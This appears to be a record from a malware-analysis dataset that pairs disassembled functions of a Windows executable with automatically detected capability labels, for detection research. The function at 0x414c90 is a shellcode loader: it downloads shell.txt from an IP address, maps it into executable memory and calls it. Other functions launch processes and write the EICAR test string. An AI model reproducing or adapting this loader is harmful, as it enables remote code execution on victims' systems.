joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40f310
Capabilities:
Access peb ldr_data
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x453fbf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push 0x471df0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.00444bfb
mov eax, dword [0x46d688]
mov dword [esp + 0x28], 1
mov dword [esp + 8], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + 0x28], 2
mov ebx, 1
mov cl, bl
push 1
add cl, 0x41
push ecx
lea ecx, [esp + 0x1c]
call fcn.0043e144
push 0x46bd08
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x34], 3
call fcn.00444e22
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 4
call fcn.00444cc6
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 3
call fcn.00444b8d
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call fcn.00444b8d
push 0
lea ecx, [esp + 0xc]
call fcn.00444fbd
push eax
call esi
cmp eax, 1
je 0x40f3f6
lea eax, [esp + 8]
push 0x46bbd4
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00444e22
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 5
call fcn.00444fa5
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call fcn.00444b8d
inc ebx
cmp ebx, 0x19
jle 0x40f361
mov esi, dword [esp + 0x30]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call fcn.00444902
mov dword [esp + 0x1c], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.00444b8d
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.00444b8d
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4

Function at 0x412e80
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x412ee2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4130f0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
mov eax, dword [esp + 0x20c]
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push esi
push edi
push ebp
push 0
push 0
push eax
push str.open
mov edi, ecx
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x4131e2
lea ecx, [esp + 0x10]
push ecx
push str..htm
push SysReAllocString
mov ecx, edi
call fcn.00412e80
test eax, eax
jne 0x4131e2
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push SysReAllocString
mov ecx, edi
call fcn.00412e80
test eax, eax
jne 0x4131e2
lea edx, [esp + 0x10]
push 0x46c09c
push edx
call fcn.0042aab0
mov esi, eax
add esp, 8
test esi, esi
jne 0x4131b3
lea eax, [esp + 0x10]
push 0x46c098
push eax
call fcn.0042aa30
mov esi, eax
add esp, 8
test esi, esi
jne 0x4131b3
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x4131b6
mov byte [esi], 0
push 0x46b1b0
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
Function at 0x414c90
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov al, byte [ebp - 1]
push ebx
push esi
push edi
mov byte [ebp - 0x38], al
mov edi, str.C:ProgramData_shell.txt
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x34], esi
mov ebx, ecx
lea ecx, [ebp - 0x38]
push ebx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call fcn.00416360
test al, al
je 0x414ced
mov edi, dword [ebp - 0x34]
mov ecx, ebx
mov edx, ecx
mov esi, str.C:ProgramData_shell.txt
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x38]
call fcn.00416340
xor esi, esi
mov al, byte [ebp - 1]
mov edi, str.http:__192.168.160.149_shell.txt
mov byte [ebp - 0x28], al
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x24], esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x20], esi
push ecx
push str.http:__192.168.160.149_shell.txt
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x1c], esi
call fcn.00416250
lea ecx, [ebp - 0x38]
lea edx, [ebp - 0x28]
push ecx
push edx
call fcn.00414990
mov eax, dword [ebp - 0x24]
add esp, 8
cmp eax, esi
je 0x414d4d
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x414d44
cmp al, 0xff
je 0x414d44
dec al
mov byte [ecx], al
jmp 0x414d4d
push ecx
call fcn.004448f7
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], esi
cmp eax, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
je 0x414d7a
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x414d71
cmp al, 0xff
je 0x414d71
dec al
mov byte [ecx], al
jmp 0x414d7a
push ecx
call fcn.004448f7
add esp, 4
push esi
push 0x80
push 4
push esi
push 1
push SysReAllocString
push str.C:ProgramData_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x14], ebx
call fcn.00429b03
add esp, 4
mov esi, eax
lea eax, [ebp - 0xc]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov dword [ebp - 0x10], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 8]
push ecx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 0x10]
call eax
popal
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
lea edx, [ebp - 8]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x417790
Capabilities:
Access peb ldr_data
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x45505f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
push 0x471df0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0
call fcn.00444bfb
mov eax, dword [0x46d688]
mov dword [esp + 0x28], 1
mov dword [esp + 8], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [esp + 0x28], 2
mov ebx, 1
mov cl, bl
push 1
add cl, 0x41
push ecx
lea ecx, [esp + 0x1c]
call fcn.0043e144
push 0x46bd08
lea edx, [esp + 0x14]
push eax
push edx
mov byte [esp + 0x34], 3
call fcn.00444e22
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x2c], 4
call fcn.00444cc6
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 3
call fcn.00444b8d
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 2
call fcn.00444b8d
push 0
lea ecx, [esp + 0xc]
call fcn.00444fbd
push eax
call esi
cmp eax, 1
je 0x417876
lea eax, [esp + 8]
push 0x46bbd4
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00444e22
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 5
call fcn.00444fa5
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], 2
call fcn.00444b8d
inc ebx
cmp ebx, 0x19
jle 0x4177e1
mov esi, dword [esp + 0x30]
lea edx, [esp + 0xc]
push edx
mov ecx, esi
call fcn.00444902
mov dword [esp + 0x1c], 1
lea ecx, [esp + 8]
mov byte [esp + 0x28], 1
call fcn.00444b8d
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call fcn.00444b8d
mov ecx, dword [esp + 0x20]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4

Function at 0x417d70
Capabilities:
Create thread
Resume thread

Disassembly:
push 0xffffffffffffffff
push 0x455110
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
push edi
mov esi, ecx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x24]
push eax
push ecx
mov ebx, 1
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
mov dword [esp + 0x28], ebx
mov dword [esi + 0x2c0c], ebx
call fcn.00444902
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0x18], esp
push eax
mov byte [esp + 0x2c], 2
call fcn.00444902
mov ecx, esi
mov byte [esp + 0x28], bl
lea edi, [esi + 0x2c10]
call fcn.004189c0
push eax
mov ecx, edi
call fcn.0040ea80
mov ebx, dword [esp + 0x34]
mov ecx, dword [esp + 0x30]
push ebx
push ecx
mov ecx, edi
call fcn.0040ebe0
lea edx, [esp + 0x10]
push edx
push 0
push edi
push 0x40fad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c], 0
call fcn.00444b8d
lea ecx, [esp + 0x28]
mov dword [esp + 0x1c], 0xffffffff
call fcn.00444b8d
mov ecx, dword [esp + 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x14
ret 0x14
Function at 0x418610
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4552d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, dword [ebx + 0x1c]
push edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call fcn.00447872
push 0x10
mov esi, eax
call fcn.004448ce
mov edx, dword [ebx + 0x1c]
add esp, 4
lea ecx, [esp + 0x18]
mov edi, eax
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [ebx + 0x1c]
lea eax, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [edi + 4], 5
mov edx, dword [esp + 0x18]
mov dword [edi], edx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
xor edx, edx
sub eax, ecx
mov dword [edi + 0xc], eax
mov ecx, dword [esp + 0x20]
sub ecx, dword [esp + 0x18]
mov dword [edi + 8], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], vtable.CFont.0
mov eax, dword [0x471f4c]
mov ecx, dword [0x471f50]
push eax
push 0x10
push edx
push edx
push edx
push 1
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push ecx
mov dword [esp + 0x78], edx
call dword [sym.imp.GDI32.dll_CreateFontA]
push eax
lea ecx, [esp + 0x14]
call fcn.0044839f
mov edx, dword [esi]
lea eax, [esp + 0x10]
push eax
mov ecx, esi
call dword [edx + 0x28]
push 1
mov ecx, esi
mov ebx, eax
call fcn.00447af7
mov edx, dword [esi]
mov ebp, eax
mov eax, dword [0x471f54]
mov ecx, esi
push eax
call dword [edx + 0x30]
push 1
mov ecx, esi
call fcn.00447af7
mov eax, dword [0x471f48]
mov ecx, dword [eax - 8]
mov edx, dword [esi]
push 1
push edi
push ecx
push eax
mov ecx, esi
call dword [edx + 0x68]
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0x28]
push ebp
mov ecx, esi
call fcn.00447af7
test edi, edi
je 0x41872c
push edi
call fcn.004448f7
add esp, 4
mov dword [esp + 0x10], vtable.CGdiObject.0
lea ecx, [esp + 0x10]
mov dword [esp + 0x40], 1
call fcn.004483f6
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x34
ret

Function at 0x4197d6
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4553a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 8]
call fcn.00419100
xor edi, edi
lea ecx, [esi + 0x14]
mov dword [esp + 0x14], edi
call fcn.00418f80
lea ecx, [esi + 0x20]
mov byte [esp + 0x14], 1
call fcn.00418f80
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 0x3c], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x44], eax
mov dword [esi + 0x30], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], 0x64
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x41ae60
Capabilities:
Get file size

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0
push 3
push 0
push 7
push 0
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41ae8d
xor eax, eax
pop esi
pop ecx
ret
lea ecx, [esp + 4]
push edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x41d4c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4558d4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x46d688]
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], eax
or eax, 0xffffffff
mov dword [esi + 4], eax
mov ecx, dword [0x46d408]
mov dword [esi + 8], ecx
mov edx, dword [0x46d688]
mov dword [esi + 0x10], eax
mov dword [esi + 0xc], edx
mov eax, dword [0x46d408]
mov dword [esp + 0x1c], 0
mov dword [esi + 0x14], eax
push 0x41d4b0
push 0x41d490
push 0x1f4
lea ecx, [esi + 0x1c]
push 0x14
push ecx
mov byte [esp + 0x30], 1
call fcn.0042a238
mov ecx, esi
mov byte [esp + 0x1c], 2
call fcn.0041d5f0
mov edx, dword [esp + 0x24]
lea ecx, [esp + 8]
push edx
call fcn.004212f0
push eax
mov ecx, esi
mov byte [esp + 0x20], 3
call fcn.00421850
lea ecx, [esp + 8]
mov byte [esp + 0x1c], 2
call fcn.004213c0
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 4
Function at 0x41e470
Capabilities:
Delete file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x455b1b
push eax
mov eax, 0x3c94
mov dword fs:[0], esp
call fcn.00429c40
push ebx
push ebp
mov ebx, ecx
push 1
call fcn.00443577
lea ecx, [esp + 0xb4]
call fcn.00407400
mov eax, dword [ebx + 0x1478]
xor ebp, ebp
push eax
lea ecx, [esp + 0xb8]
mov dword [esp + 0x3ca8], ebp
call fcn.00407750
mov eax, dword [ebx + 0x1478]
cmp dword [eax - 8], ebp
jne 0x41e4de
push ebp
push ebp
push 0x46cdd4
call fcn.00448f75
jmp 0x41e614
push eax
call fcn.0041aeb0
add esp, 4
test eax, eax
je 0x41e50e
push ebp
push 1
push 0x46ce8c
call fcn.00448f75
cmp eax, 2
je 0x41e614
mov eax, dword [ebx + 0x1478]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebx + 0x1464]
mov ecx, dword [ebx + 0x1460]
mov edx, dword [ebx + 0x146c]
push esi
mov esi, dword [ebx + 0x1468]
push edi
push eax
push ecx
push edx
push esi
lea ecx, [esp + 0xcc]
call fcn.004077a0
push 0xff
push 5
lea ecx, [esp + 0xc4]
call fcn.00407890
mov ecx, 0x11
mov esi, str.X5O_P__AP_4PZX54_P_7CC_7_EICAR_STANDARD_ANTIVIRUS_TEST_FILE__HH
lea edi, [esp + 0x74]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x74]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x46ce38
mov dword [esp + 0x20], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov eax, ecx
mov esi, edi
mov edi, edx
mov dword [esp + 0x10], ebp
shr ecx, 2
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
lea edx, [esp + 0x38]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.TXT_INI_BAT_
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x74]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x78]
push ecx
push edx
push ebp
lea ecx, [esp + 0xcc]
call fcn.00409350
push ebp
lea ecx, [esp + 0xc0]
call fcn.00408490
pop edi
pop esi
test eax, eax
je 0x41e614
push ebp
push ebp
push 0x46cdec
call fcn.00448f75
mov ecx, ebx
call fcn.0041df80
lea ecx, [esp + 0xb4]
mov dword [esp + 0x3ca4], 0xffffffff
call fcn.00407650
mov ecx, dword [esp + 0x3c9c]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3ca0
ret
Function at 0x4216d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4562ff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push esi
mov esi, dword [esp + 0x28]
push edi
mov edi, ecx
test esi, esi
mov dword [esp + 8], 0
jge 0x421700
xor esi, esi
jmp 0x42171e
mov eax, dword [edi + 8]
push eax
call fcn.00429c94
add esp, 4
cmp esi, eax
jle 0x42171e
mov ecx, dword [edi + 8]
push ecx
call fcn.00429c94
add esp, 4
mov esi, eax
mov edx, dword [0x46d688]
mov eax, dword [0x46d408]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x14], eax
push 0
push 0
lea ecx, [esp + 0x14]
push esi
push ecx
mov ecx, edi
mov dword [esp + 0x30], 1
call fcn.004218e0
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0xc]
push edx
call fcn.00444d3d
mov esi, dword [esp + 0x28]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call fcn.00421250
mov dword [esp + 8], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 0
call fcn.004213c0
mov ecx, dword [esp + 0x18]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1c
ret 8

Function at 0x42ab26
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42ab46
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0042c913
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x42ab69
test byte [esp + 8], 2
je 0x42ab69
call fcn.0042c986
mov dword [eax], 0xd
call fcn.0042c98f
mov dword [eax], 5
jmp 0x42ab42
xor eax, eax
ret
Function at 0x43c710
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00429c40
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x43c7db
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x43c7db
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x43c78e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x43c799
or bh, 8
and edi, 0x8000000
je 0x43c7b4
mov eax, dword [0x475d1c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x43c7db
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43cbb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x43cbdb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43cbff
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43cc1a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x4420a4
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4420dc
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00445034
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0044500c
jmp 0x4420e8
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4